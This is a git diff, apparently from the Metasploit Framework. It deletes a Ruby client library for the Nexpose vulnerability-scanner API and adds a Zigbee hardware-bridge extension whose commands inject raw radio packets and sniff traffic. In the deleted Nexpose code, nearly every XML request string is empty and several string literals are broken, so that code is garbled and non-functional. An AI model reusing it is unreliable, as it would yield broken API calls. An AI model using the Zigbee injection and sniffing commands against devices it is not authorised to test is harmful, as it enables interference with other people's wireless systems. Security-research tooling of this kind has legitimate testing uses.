initialize(connection, site_id = 0) - - @site_id = site_id - @error = false - @connection = connection - @devices = Array.new() - - r = nil - if (@site_id) - r = @connection.execute('') - else - r = @connection.execute('') - end - - if(r.success) - response.elements.each('SiteDeviceListingResponse/SiteDevices/device') do |d| - @devices.push(Device.new(d.attributes['id'],@site_id,d.attributes["address"],d.attributes["riskfactor"],d.attributes['riskscore'])) - end - end - end -end - -# === Description -# Object that represents a site, including the site configuration, scan history, and device listing. -# -# === Example -# # Create a new Nexpose Connection on the default port and Login -# nsc = Connection.new("10.1.40.10","nxadmin","password") -# nsc.login() -# -# # Get an Existing Site -# site_existing = Site.new(nsc,184) -# -# # Create a New Site, add some hosts, and save it to the NSC -# site = Site.new(nsc) -# site.setSiteConfig("New Site", "New Site Created in the API") -# -# # Add the hosts -# site.site_config.addHost(HostName.new("localhost")) -# site.site_config.addHost(IPRange.new("192.168.7.1","192.168.7.255")) -# site.site_config.addHost(IPRange.new("10.1.20.30")) -# -# status = site.saveSite() -# -class Site - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The Site ID - # site_id = -1 means create a new site. The NSC will assign a new site_id on SiteSave. - attr_reader :site_id - # A summary overview of this site - # SiteSummary Object - attr_reader :site_summary - # The configuration of this site - # SiteConfig Object - attr_reader :site_config - # The device listing for this site - # SiteDeviceListing Object - attr_reader :site_device_listing - # The scan history of this site - # SiteScanHistory Object - attr_reader :site_scan_history - - def initialize(connection, site_id = -1) - @error = false - @connection = connection - @site_id = site_id - - # If site_id > 0 then get SiteConfig - if (@site_id.to_i > 0) - # Create new SiteConfig object - @site_config = SiteConfig.new() - # Populate SiteConfig Obect with Data from the NSC - @site_config.getSiteConfig(@connection,@site_id) - @site_summary = SiteSummary.new(@site_id, @site_config.site_name, @site_config.description, @site_config.riskfactor) - @site_scan_history = SiteScanHistory.new(@connection,@site_id) - @site_device_listing = SiteDeviceListing.new(@connection,@site_id) - - else - # Just in case user enters a number > -1 or = 0 - @site_id = -1 - - @site_config = SiteConfig.new() - setSiteConfig("New Site " + rand(999999999999).to_s,"") - @site_summary = nil - - end - - end - - # Creates a new site summary - def setSiteSummary(site_name, description, riskfactor = 1) - @site_summary = SiteSummary.new(-1,site_name,description,riskfactor) - - end - - # Creates a new site configuration - def setSiteConfig(site_name, description, riskfactor = 1) - setSiteSummary(site_name,description,riskfactor) - @site_config = SiteConfig.new() - @site_config._set_site_id(-1) - @site_config._set_site_name(site_name) - @site_config._set_description(description) - @site_config._set_riskfactor(riskfactor) - @site_config._set_scanConfig(ScanConfig.new(-1,"tmp","full-audit")) - @site_config._set_connection(@connection) - - end - - # Initiates a scan of this site. If successful returns scan_id and engine_id in an associative array. Returns false if scan is unsuccessful. - def scanSite() - r = @connection.execute('') - if(r.success) - res = {} - r.res.elements.each('//Scan/') do |s| - res[:scan_id] = s.attributes['scan-id'] - res[:engine_id] = s.attributes['engine-id'] - end - return res - else - return false - end - end - - # Saves this site in the NSC - def saveSite() - r = @connection.execute('' + getSiteXML() + ' ') - if (r.success) - @site_id = r.attributes['site-id'] - @site_config._set_site_id(@site_id) - @site_config.scanConfig._set_configID(@site_id) - @site_config.scanConfig._set_name(@site_id) - return true - else - return false - end - end - - def deleteSite() - r = @connection.execute('') - r.success - end - - - def printSite() - puts "Site ID: " + @site_summary.id - puts "Site Name: " + @site_summary.site_name - puts "Site Description: " + @site_summary.description - puts "Site Risk Factor: " + @site_summary.riskfactor - end - - def getSiteXML() - - xml = '' - - xml << ' ' - @site_config.hosts.each do |h| - xml << h.to_xml if h.respond_to? :to_xml - end - xml << '' - - xml << '' - @site_config.credentials.each do |c| - xml << c.to_xml if c.respond_to? :to_xml - end - xml << ' ' - - xml << ' ' - @site_config.alerts.each do |a| - xml << a.to_xml if a.respond_to? :to_xml - end - xml << ' ' - - xml << ' ' - - xml << ' ' - @site_config.scanConfig.schedules.each do |s| - xml << ' ' - end - xml << ' ' - - xml << ' ' - @site_config.scanConfig.scanTriggers.each do |s| - - if s.kind_of?(Nexpose::AutoUpdate) - xml << ' ' - end - end - - xml << ' ' - - xml << ' ' - - xml << ' ' - - return xml - end -end - -# === Description -# Object that represents administrative credentials to be used during a scan. When retrived from an existing site configuration the credentials will be returned as a security blob and can only be passed back as is during a Site Save operation. This object can only be used to create a new set of credentials. -# -class AdminCredentials - # Security blob for an existing set of credentials - attr_reader :securityblob - # Designates if this object contains user defined credentials or a security blob - attr_reader :isblob - # The service for these credentials. Can be All. - attr_reader :service - # The host for these credentials. Can be Any. - attr_reader :host - # The port on which to use these credentials. - attr_reader :port - # The user id or username - attr_reader :userid - # The password - attr_reader :password - # The realm for these credentials - attr_reader :realm - - - def initialize(isblob = false) - @isblob = isblob - end - - # Sets the credentials information for this object. - def setCredentials(service, host, port, userid, password, realm) - @isblob = false - @securityblob = nil - @service = service - @host = host - @port = port - @userid = userid - @password = password - @realm = realm - end - - # TODO: add description - def setService(service) - @service = service - end - - def setHost(host) - @host = host - end - - # TODO: add description - def setBlob(securityblob) - @isblob = true - @securityblob = securityblob - end - - include Sanitize - def to_xml - xml = '' - xml << '' - xml << replace_entities(securityblob) if (isblob) - xml << '' - - xml - end -end - - -# === Description -# Object that represents an SMTP (Email) Alert. -# -class SmtpAlert - # A unique name for this alert - attr_reader :name - # If this alert is enabled or not - attr_reader :enabled - # The email address of the sender - attr_reader :sender - # Limit the text for mobile devices - attr_reader :limitText - # Array containing Strings of email addresses - # Array of strings with the email addresses of the intended recipients - attr_reader :recipients - # The vulnerability filter to trigger the alert - attr_reader :vulnFilter - # The alert type - attr_reader :type - - def initialize(name, sender, limitText, enabled = 1) - @type = :smtp - @name = name - @sender = sender - @enabled = enabled - @limitText = limitText - @recipients = Array.new() - # Sets default vuln filter - All Events - setVulnFilter(VulnFilter.new("50790400",1)) - end - - # Adds a new Recipient to the recipients array - def addRecipient(recipient) - @recipients.push(recipient) - end - - # Sets the Vulnerability Filter for this alert. - def setVulnFilter(vulnFilter) - @vulnFilter = vulnFilter - end - - include Sanitize - def to_xml - xml = "} - recipients.each do |recpt| - xml << "#{replace_entities(recpt)}" - end - xml << vulnFilter.to_xml - xml << "" - xml - end -end - -# === Description -# Object that represents an SNMP Alert. -# -class SnmpAlert - - # A unique name for this alert - attr_reader :name - # If this alert is enabled or not - attr_reader :enabled - # The community string - attr_reader :community - # The SNMP server to sent this alert - attr_reader :server - # The vulnerability filter to trigger the alert - attr_reader :vulnFilter - # The alert type - attr_reader :type - - def initialize(name, community, server, enabled = 1) - @type = :snmp - @name = name - @community = community - @server = server - @enabled = enabled - # Sets default vuln filter - All Events - setVulnFilter(VulnFilter.new("50790400",1)) - end - - # Sets the Vulnerability Filter for this alert. - def setVulnFilter(vulnFilter) - @vulnFilter = vulnFilter - end - - include Sanitize - def to_xml - xml = "} - xml << vulnFilter.to_xml - xml << "" - xml - end - -end - -# === Description -# Object that represents a Syslog Alert. -# -class SyslogAlert - - # A unique name for this alert - attr_reader :name - # If this alert is enabled or not - attr_reader :enabled - # The Syslog server to sent this alert - attr_reader :server - # The vulnerability filter to trigger the alert - attr_reader :vulnFilter - # The alert type - attr_reader :type - - def initialize(name, server, enabled = 1) - @type = :syslog - @name = name - @server = server - @enabled = enabled - # Sets default vuln filter - All Events - setVulnFilter(VulnFilter.new("50790400",1)) - - end - - # Sets the Vulnerability Filter for this alert. - def setVulnFilter(vulnFilter) - @vulnFilter = vulnFilter - end - - include Sanitize - def to_xml - xml = "} - xml << vulnFilter.to_xml - xml << "" - xml - end - -end - -# TODO: review -# -# === Description -# -class ScanFilter - - attr_reader :scanStop - attr_reader :scanFailed - attr_reader :scanStart - - def initialize(scanstop, scanFailed, scanStart) - - @scanStop = scanStop - @scanFailed = scanFailed - @scanStart = scanStart - - end - -end - -# TODO: review -# === Description -# -class VulnFilter - - attr_reader :typeMask - attr_reader :maxAlerts - attr_reader :severityThreshold - - def initialize(typeMask, severityThreshold, maxAlerts = -1) - @typeMask = typeMask - @maxAlerts = maxAlerts - @severityThreshold = severityThreshold - end - - include Sanitize - def to_xml - xml = "" - - xml - end - -end - -# TODO add engineID -# === Description -# Object that represents the scanning configuration for a Site. -# -class ScanConfig - # A unique ID for this scan configuration - attr_reader :configID - # The name of the scan template - attr_reader :name - # The ID of the scan template used full-audit, exhaustive-audit, web-audit, dos-audit, internet-audit, network-audit - attr_reader :templateID - # The configuration version (default is 2) - attr_reader :configVersion - # Array of (Schedule)* - attr_reader :schedules - # Array of (ScanTrigger)* - attr_reader :scanTriggers - - def initialize(configID, name, templateID, configVersion = 2) - - @configID = configID - @name = name - @templateID = templateID - @configVersion = configVersion - @schedules = Array.new() - @scanTriggers = Array.new() - - end - - # Adds a new Schedule for this ScanConfig - def addSchedule(schedule) - @schedules.push(schedule) - end - - # Adds a new ScanTrigger to the scanTriggers array - def addScanTrigger(scanTrigger) - @scanTriggers.push(scanTrigger) - end - - def _set_configID(configID) - @configID = configID - end - - def _set_name(name) - @name = name - end - -end - -# === Description -# Object that holds a scan schedule -# -class Schedule - # Type of Schedule (daily|hourly|monthly|weekly) - attr_reader :type - # The schedule interval - attr_reader :interval - # The date and time to start the first scan - attr_reader :start - # Enable or disable this schedule - attr_reader :enabled - # The date and time to disable to schedule. If null then the schedule will run forever. - attr_reader :notValidAfter - # Scan on the same date each time - attr_reader :byDate - - def initialize(type, interval, start, enabled = 1) - - @type = type - @interval = interval - @start = start - @enabled = enabled - - end - - - -end - -# === Description -# Object that holds an event that triggers the start of a scan. -# -class ScanTrigger - # Type of Trigger (AutoUpdate) - attr_reader :type - # Enable or disable this scan trigger - attr_reader :enabled - # Sets the trigger to start an incremental scan or a full scan - attr_reader :incremental - - def initialize(type, incremental, enabled = 1) - - @type = type - @incremental = incremental - @enabled = enabled - - end - -end - -# === Description -# Object that represents a single device in an NSC. -# -class Device - - # A unique device ID (assigned by the NSC) - attr_reader :id - # The site ID of this devices site - attr_reader :site_id - # IP Address or Hostname of this device - attr_reader :address - # User assigned risk multiplier - attr_reader :riskfactor - # Nexpose risk score - attr_reader :riskscore - - def initialize(id, site_id, address, riskfactor=1, riskscore=0) - @id = id - @site_id = site_id - @address = address - @riskfactor = riskfactor - @riskscore = riskscore - - end - -end - - -# === Description -# Object that represents a summary of a scan. -# -class ScanSummary - # The Scan ID of the Scan - attr_reader :scan_id - # The Engine ID used to perform the scan - attr_reader :engine_id - # TODO: add description - attr_reader :name - # The scan start time - attr_reader :startTime - # The scan finish time - attr_reader :endTime - # The scan status (running|finished|stopped|error| dispatched|paused|aborted|uknown) - attr_reader :status - # The number of pending tasks - attr_reader :tasks_pending - # The number of active tasks - attr_reader :tasks_active - # The number of completed tasks - attr_reader :tasks_completed - # The number of "live" nodes - attr_reader :nodes_live - # The number of "dead" nodes - attr_reader :nodes_dead - # The number of filtered nodes - attr_reader :nodes_filtered - # The number of unresolved nodes - attr_reader :nodes_unresolved - # The number of "other" nodes - attr_reader :nodes_other - # Confirmed vulnerabilities found (indexed by severity) - # Associative array, indexed by severity - attr_reader :vuln_exploit - # Unconfirmed vulnerabilities found (indexed by severity) - # Associative array, indexed by severity - attr_reader :vuln_version - # Not vulnerable checks run (confirmed) - attr_reader :not_vuln_exploit - # Not vulnerable checks run (unconfirmed) - attr_reader :not_vuln_version - # Vulnerability check errors - attr_reader :vuln_error - # Vulnerability checks disabled - attr_reader :vuln_disabled - # Vulnerability checks other - attr_reader :vuln_other - - # Constructor - # ScanSummary(can_id, $engine_id, $name, tartTime, $endTime, tatus) - def initialize(scan_id, engine_id, name, startTime, endTime, status) - - @scan_id = scan_id - @engine_id = engine_id - @name = name - @startTime = startTime - @endTime = endTime - @status = status - - end - -end - -# TODO -# === Description -# Object that represents the overview statistics for a particular scan. -# -# === Examples -# -# # Create a new Nexpose Connection on the default port and Login -# nsc = Connection.new("10.1.40.10","nxadmin","password") -# nsc.login() -# -# # Get a Site (Site ID = 12) from the NSC -# site = new Site(nsc,12) -# -# # Start a Scan of this site and pause for 1 minute -# scan1 = site.scanSite() -# sleep(60) -# -# # Get the Scan Statistics for this scan -# scanStatistics = new ScanStatistics(nsc,scan1["scan_id"]) -# -# # Print out number of confirmed vulnerabilities with a 10 severity -# puts scanStatistics.scansummary.vuln_exploit[10] -# -# # Print out the number of pending tasks left in the scan -# puts scanStatistics.scan_summary.tasks_pending -# -class ScanStatistics - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :reseponse_xml - # The Scan ID - attr_reader :scan_id - # The ScanSummary of the scan - attr_reader :scan_summary - # The NSC Connection associated with this object - attr_reader :connection - - # Vulnerability checks other - attr_reader :vuln_other - def initialize(connection, scan_id) - @error = false - @connection = connection - @scan_id = scan_id - end -end - -# ==== Description -# Object that represents a listing of all of the scan engines available on to an NSC. -# -class EngineListing - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # Array containing (EngineSummary*) - attr_reader :engines - # The number of scan engines - attr_reader :engine_count - - # Constructor - # EngineListing (connection) - def initialize(connection) - @connection = connection - end -end - -# ==== Description -# Object that represents the summary of a scan engine. -# -# ==== Examples -# -# # Create a new Nexpose Connection on the default port and Login -# nsc = Connection.new("10.1.40.10","nxadmin","password") -# nsc.login() -# -# # Get the engine listing for the connection -# enginelisting = EngineListing.new(nsc) -# -# # Print out the status of the first scan engine -# puts enginelisting.engines[0].status -# -class EngineSummary - # A unique ID that identifies this scan engine - attr_reader :id - # The name of this scan engine - attr_reader :name - # The hostname or IP address of the engine - attr_reader :address - # The port there the engine is listening - attr_reader :port - # The engine status (active|pending-auth| incompatible|not-responding|unknown) - attr_reader :status - - # Constructor - # EngineSummary(id, name, address, port, status) - def initialize(id, name, address, port, status) - @id = id - @name = name - @address = address - @port = port - @status = status - end - -end - - -# TODO -class EngineActivity - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The Engine ID - attr_reader :engine_id - # Array containing (ScanSummary*) - attr_reader :scan_summaries - - -end - -# === Description -# Object that represents a listing of all of the vulnerabilities in the vulnerability database -# -class VulnerabilityListing - - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # Array containing (VulnerabilitySummary*) - attr_reader :vulnerability_summaries - # The number of vulnerability definitions - attr_reader :vulnerability_count - - # Constructor - # VulnerabilityListing(connection) - def initialize(connection) - @error = false - @vulnerability_summaries = [] - @connection = connection - - r = @connection.execute('') - - if (r.success) - r.res.elements.each('VulnerabilityListingResponse/VulnerabilitySummary') do |v| - @vulnerability_summaries.push(VulnerabilitySummary.new(v.attributes['id'],v.attributes["title"],v.attributes["severity"])) - end - else - @error = true - @error_msg = 'VulnerabilitySummaryRequest Parse Error' - end - @vulnerability_count = @vulnerability_summaries.length - end -end - -# === Description -# Object that represents the summary of an entry in the vulnerability database -# -class VulnerabilitySummary - - # The unique ID string for this vulnerability - attr_reader :id - # The title of this vulnerability - attr_reader :title - # The severity of this vulnerability (1 – 10) - attr_reader :severity - - # Constructor - # VulnerabilitySummary(id, title, severity) - def initialize(id, title, severity) - @id = id - @title = title - @severity = severity - - end - -end - -# === Description -# -class Reference - - attr_reader :source - attr_reader :reference - - def initialize(source, reference) - @source = source - @reference = reference - end -end - -# === Description -# Object that represents the details for an entry in the vulnerability database -# -class VulnerabilityDetail - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The unique ID string for this vulnerability - attr_reader :id - # The title of this vulnerability - attr_reader :title - # The severity of this vulnerability (1 – 10) - attr_reader :severity - # The pciSeverity of this vulnerability - attr_reader :pciSeverity - # The CVSS score of this vulnerability - attr_reader :cvssScore - # The CVSS vector of this vulnerability - attr_reader :cvssVector - # The date this vulnerability was published - attr_reader :published - # The date this vulnerability was added to Nexpose - attr_reader :added - # The last date this vulnerability was modified - attr_reader :modified - # The HTML Description of this vulnerability - attr_reader :description - # External References for this vulnerability - # Array containing (Reference) - attr_reader :references - # The HTML Solution for this vulnerability - attr_reader :solution - - # Constructor - # VulnerabilityListing(connection,id) - def initialize(connection, id) - - @error = false - @connection = connection - @id = id - @references = [] - - r = @connection.execute('') - - if (r.success) - r.res.elements.each('VulnerabilityDetailsResponse/Vulnerability') do |v| - @id = v.attributes['id'] - @title = v.attributes["title"] - @severity = v.attributes["severity"] - @pciSeverity = v.attributes['pciSeverity'] - @cvssScore = v.attributes['cvssScore'] - @cvssVector = v.attributes['cvssVector'] - @published = v.attributes['published'] - @added = v.attributes['added'] - @modified = v.attributes['modified'] - - v.elements.each('description') do |d| - @description = d.to_s.gsub(/\<\/?description\>/i, '') - end - - v.elements.each('solution') do |s| - @solution = s.to_s.gsub(/\<\/?solution\>/i, '') - end - - v.elements.each('references/reference') do |r| - @references.push(Reference.new(r.attributes['source'],r.text)) - end - end - else - @error = true - @error_msg = 'VulnerabilitySummaryRequest Parse Error' - end - - end -end - -# === Description -# Object that represents the summary of a Report Configuration. -# -class ReportConfigSummary - # The Report Configuration ID - attr_reader :id - # A unique name for the Report - attr_reader :name - # The report format - attr_reader :format - # The date of the last report generation - attr_reader :last_generated_on - # Relative URI of the last generated report - attr_reader :last_generated_uri - - # Constructor - # ReportConfigSummary(id, name, format, last_generated_on, last_generated_uri) - def initialize(id, name, format, last_generated_on, last_generated_uri) - - @id = id - @name = name - @format = format - @last_generated_on = last_generated_on - @last_generated_uri = last_generated_uri - - end - -end - -# === Description -# Object that represents the schedule on which to automatically generate new reports. -class ReportHistory - - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The report definition (report config) ID - # Report definition ID - attr_reader :config_id - # Array (ReportSummary*) - attr_reader :report_summaries - - - def initialize(connection, config_id) - - @error = false - @connection = connection - @config_id = config_id - @report_summaries = [] - - reportHistory_request = APIRequest.new('',@connection.geturl()) - reportHistory_request.execute() - @response_xml = reportHistory_request.response_xml - @request_xml = reportHistory_request.request_xml - - end - - def xml_parse(response) - response = REXML::Document.new(response.to_s) - status = response.root.attributes['success'] - if (status == '1') - response.elements.each('ReportHistoryResponse/ReportSummary') do |r| - @report_summaries.push(ReportSummary.new(r.attributes["id"], r.attributes["cfg-id"], r.attributes["status"], r.attributes["generated-on"],r.attributes['report-uri'])) - end - else - @error = true - @error_msg = 'Error ReportHistoryReponse' - end - end - -end - -# === Description -# Object that represents the summary of a single report. -class ReportSummary - - # The Report ID - attr_reader :id - # The Report Configuration ID - attr_reader :cfg_id - # The status of this report - # available | generating | failed - attr_reader :status - # The date on which this report was generated - attr_reader :generated_on - # The relative URI of the report - attr_reader :report_uri - - def initialize(id, cfg_id, status, generated_on, report_uri) - - @id = id - @cfg_id = cfg_id - @status = status - @generated_on = generated_on - @report_uri = report_uri - - end - -end - -# === Description -# - class ReportAdHoc - include XMLUtils - - attr_reader :error - attr_reader :error_msg - attr_reader :connection - # Report Template ID strong e.g. full-audit - attr_reader :template_id - # pdf|html|xml|text|csv|raw-xml-v2 - attr_reader :format - # Array of (ReportFilter)* - attr_reader :filters - attr_reader :request_xml - attr_reader :response_xml - attr_reader :report_decoded - - - def initialize(connection, template_id = 'full-audit', format = 'raw-xml-v2') - - @error = false - @connection = connection - @filters = Array.new() - @template_id = template_id - @format = format - - end - - def addFilter(filter_type, id) - - # filter_type can be site|group|device|scan - # id is the ID number. For scan, you can use 'last' for the most recently run scan - filter = ReportFilter.new(filter_type, id) - filters.push(filter) - - end - - def generate() - request_xml = '' - request_xml += '' - request_xml += '' - @filters.each do |f| - request_xml += '' - end - request_xml += '' - request_xml += '' - request_xml += '' - - ad_hoc_request = APIRequest.new(request_xml, @connection.url) - ad_hoc_request.execute() - - content_type_response = ad_hoc_request.raw_response.header['Content-Type'] - if content_type_response =~ /multipart\/mixed;\s*boundary=([^\s]+)/ - # Nexpose sends an incorrect boundary format which breaks parsing - # Eg: boundary=XXX; charset=XXX - # Fix by removing everything from the last semi-colon onward - last_semi_colon_index = content_type_response.index(/;/, content_type_response.index(/boundary/)) - content_type_response = content_type_response[0, last_semi_colon_index] - - data = "Content-Type: " + content_type_response + "\r\n\r\n" + ad_hoc_request.raw_response_data - doc = Rex::MIME::Message.new data - doc.parts.each do |part| - if /.*base64.*/ =~ part.header.to_s - return parse_xml(part.content.unpack("m*")[0]) - end - end - end - end - - end - -# === Description -# Object that represents the configuration of a report definition. -# -class ReportConfig - - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The ID for this report definition - attr_reader :config_id - # A unique name for this report definition - attr_reader :name - # The template ID used for this report definition - attr_reader :template_id - # html, db, txt, xml, raw-xml-v2, csv, pdf - attr_reader :format - # XXX new - attr_reader :timezone - # XXX new - attr_reader :owner - # Array of (ReportFilter)* - The Sites, Asset Groups, or Devices to run the report against - attr_reader :filters - # Automatically generate a new report at the conclusion of a scan - # 1 or 0 - attr_reader :generate_after_scan - # Schedule to generate reports - # ReportSchedule Object - attr_reader :schedule - # Store the reports on the server - # 1 or 0 - attr_reader :storeOnServer - # Location to store the report on the server - attr_reader :store_location - # Form to send the report via email - # "file", "zip", "url", or NULL (don’t send email) - attr_reader :email_As - # Send the Email to all Authorized Users - # boolean - Send the Email to all Authorized Users - attr_reader :email_to_all - # Array containing the email addresses of the recipients - attr_reader :email_recipients - # IP Address or Hostname of SMTP Relay Server - attr_reader :smtp_relay_server - # Sets the FROM field of the Email - attr_reader :sender - # TODO - attr_reader :db_export - # TODO - attr_reader :csv_export - # TODO - attr_reader :xml_export - - - def initialize(connection, config_id = -1) - - @error = false - @connection = connection - @config_id = config_id - @xml_tag_stack = Array.new() - @filters = Array.new() - @email_recipients = Array.new() - @name = "New Report " + rand(999999999).to_s - - r = @connection.execute('') - if (r.success) - r.res.elements.each('ReportConfigResponse/ReportConfig') do |r| - @name = r.attributes['name'] - @format = r.attributes['format'] - @timezone = r.attributes['timezone'] - @id = r.attributes['id'] - @template_id = r.attributes['template-id'] - @owner = r.attributes['owner'] - end - else - @error = true - @error_msg = 'Error ReportHistoryReponse' - end - end - - # === Description - # Generate a new report on this report definition. Returns the new report ID. - def generateReport(debug = false) - return generateReport(@connection, @config_id, debug) - end - - # === Description - # Save the report definition to the NSC. - # Returns the config-id. - def saveReport() - r = @connection.execute('' + getXML().to_s + ' ') - if(r.success) - @config_id = r.attributes['reportcfg-id'] - return true - end - return false - end - - # === Description - # Adds a new filter to the report config - def addFilter(filter_type, id) - filter = ReportFilter.new(filter_type,id) - @filters.push(filter) - end - - # === Description - # Adds a new email recipient - def addEmailRecipient(recipient) - @email_recipients.push(recipient) - end - - # === Description - # Sets the schedule for this report config - def setSchedule(schedule) - @schedule = schedule - end - - def getXML() - - xml = '' - - xml += ' ' - - @filters.each do |f| - xml += ' <' + f.type.to_s + ' id="' + f.id.to_s + '"/>' - end - - xml += ' ' - - xml += ' ' - - if (@schedule) - xml += ' ' - end - - xml += ' ' - - xml += ' ' - - xml += ' ' - - if (@store_location and @store_location.length > 0) - xml += ' ' + @store_location.to_s + '' - end - - xml += ' ' - - - xml += ' ' - - xml += ' ' - - return xml - end - - def set_name(name) - @name = name - end - - def set_template_id(template_id) - @template_id = template_id - end - - def set_format(format) - @format = format - end - - def set_email_As(email_As) - @email_As = email_As - end - - def set_storeOnServer(storeOnServer) - @storeOnServer = storeOnServer - end - - def set_smtp_relay_server(smtp_relay_server) - @smtp_relay_server = smtp_relay_server - end - - def set_sender(sender) - @sender = sender - end - - def set_generate_after_scan(generate_after_scan) - @generate_after_scan = generate_after_scan - end -end - -# === Description -# Object that represents a report filter which determines which sites, asset -# groups, and/or devices that a report is run against. gtypes are -# "SiteFilter", "AssetGroupFilter", "DeviceFilter", or "ScanFilter". gid is -# the site-id, assetgroup-id, or devce-id. ScanFilter, if used, specifies -# a specifies a specific scan to use as the data source for the report. The gid -# can be a specific scan-id or "first" for the first run scan, or “last” for -# the last run scan. -# -class ReportFilter - - attr_reader :type - attr_reader :id - - def initialize(type, id) - - @type = type - @id = id - - end - -end - -# === Description -# Object that represents the schedule on which to automatically generate new reports. -# -class ReportSchedule - - # The type of schedule - # (daily, hourly, monthly, weekly) - attr_reader :type - # The frequency with which to run the scan - attr_reader :interval - # The earliest date to generate the report - attr_reader :start - - def initialize(type, interval, start) - - @type = type - @interval = interval - @start = start - - end - - -end - -class ReportTemplateListing - - attr_reader :error_msg - attr_reader :error - attr_reader :request_xml - attr_reader :response_xml - attr_reader :connection - attr_reader :xml_tag_stack - attr_reader :report_template_summaries#; //Array (ReportTemplateSummary*) - - - def ReportTemplateListing(connection) - - @error = nil - @connection = connection - @report_template_summaries = Array.new() - - r = @connection.execute('') - if (r.success) - r.res.elements.each('ReportTemplateListingResponse/ReportTemplateSummary') do |r| - @report_template_summaries.push(ReportTemplateSumary.new(r.attributes['id'],r.attributes['name'])) - end - else - @error = true - @error_msg = 'ReportTemplateListingRequest Parse Error' - end - - end - -end - - -class ReportTemplateSummary - - attr_reader :id - attr_reader :name - attr_reader :description - - def ReportTemplateSummary(id, name, description) - - @id = id - @name = name - @description = description - - end - -end - - -class ReportSection - - attr_reader :name - attr_reader :properties - - def ReportSection(name) - - @properties = Array.new() - @name = name - end - - - def addProperty(name, value) - - @properties[name.to_s] = value - end - -end - - -# TODO add -def self.site_device_scan(connection, site_id, device_array, host_array, debug = false) - - request_xml = '' - request_xml += '' - device_array.each do |d| - request_xml += '' - end - request_xml += '' - request_xml += '' - # The host array can only by single IP addresses for now. TODO: Expand to full API Spec. - host_array.each do |h| - request_xml += '' - end - request_xml += '' - request_xml += '' - - r = connection.execute(request_xml) - r.success ? { :engine_id => r.attributes['engine_id'], :scan_id => r.attributes['scan-id'] } : nil -end - -# === Description -# TODO -def self.getAttribute(attribute, xml) - value = '' - #@value = substr(substr(strstr(strstr(@xml,@attribute),'"'),1),0,strpos(substr(strstr(strstr(@xml,@attribute),'"'),1),'"')) - return value -end - -# === Description -# Returns an ISO 8601 formatted date/time stamp. All dates in Nexpose must use this format. -def self.get_iso_8601_date(int_date) -#@date_mod = date('Ymd\THis000', @int_date) - date_mod = '' -return date_mod -end - -# ==== Description -# Echos the last XML API request and response for the specified object. (Useful for debugging) -def self.printXML(object) - puts "request" + object.request_xml.to_s - puts "response is " + object.response_xml.to_s -end - -end diff --git a/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb b/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb new file mode 100644 index 0000000000..363c62da88 --- /dev/null +++ b/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb @@ -0,0 +1,95 @@ +# +# -*- coding: binary -*- +require 'rex/post/hwbridge/client' + +module Rex +module Post +module HWBridge +module Extensions +module Zigbee + +### +# Zigbee extension - set of commands to be executed on zigbee compatible hw bridges +### + +class Zigbee < Extension + + def initialize(client) + super(client, 'zigbee') + + # Alias the following things on the client object so that they + # can be directly referenced + client.register_extension_aliases( + [ + { + 'name' => 'zigbee', + 'ext' => self + } + ]) + end + + # Sets the default target device + # @param device [String] Target Zigbee device ID + def set_target_device(device) + self.target_device = device + end + + # Retrieves the default zigbee device ID + # @return [String] Zigbee device ID + def get_target_device + self.target_device + end + + # Gets supported Zigbee Devices + # @return [Array] Devices + def supported_devices + client.send_request("/zigbee/supported_devices") + end + + # Sets the channel + # @param dev [String] Device to affect + # @param channel [Integer] Channel number + def set_channel(dev, channel) + client.send_request("/zigbee/#{dev}/set_channel?chan=#{channel}") + end + + # Injects a raw packet + # @param dev [String] Zigbee Device ID + # @param data [String] Raw hex data that will be Base64 encoded + def inject(dev, data) + data = Base64.urlsafe_encode64(data) + client.send_request("/zigbee/#{dev}/inject?data=#{data}") + end + + # Receives data from transceiver + # @param dev [String] Zigbee Device ID + # @return [Hash] { data: HexString, valid_crc: X, rssi: X } + def recv(dev) + data = client.send_request("/zigbee/#{dev}/recv") + if data.size > 0 + data["data"] = Base64.urlsafe_decode64(data["data"]) if data.has_key? "data" + end + data + end + + # Disables sniffer and puts the device in a state that can be changed (like adujsting channel) + # @param dev [String] Zigbee Device ID + def sniffer_off(dev) + client.send_request("/zigbee/#{dev}/sniffer_off") + end + + # Enables sniffer receive mode. Not necessary to call before calling recv + # @param dev [String] Zigbee Device ID + def sniffer_on(dev) + client.send_request("/zigbee/#{dev}/sniffer_on") + end + + attr_accessor :target_device + +end + +end +end +end +end +end diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb index cd65d3804c..bad2136c77 100644 --- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb @@ -63,7 +63,7 @@ class Console::CommandDispatcher::Automotive def cmd_busconfig(*args) bus 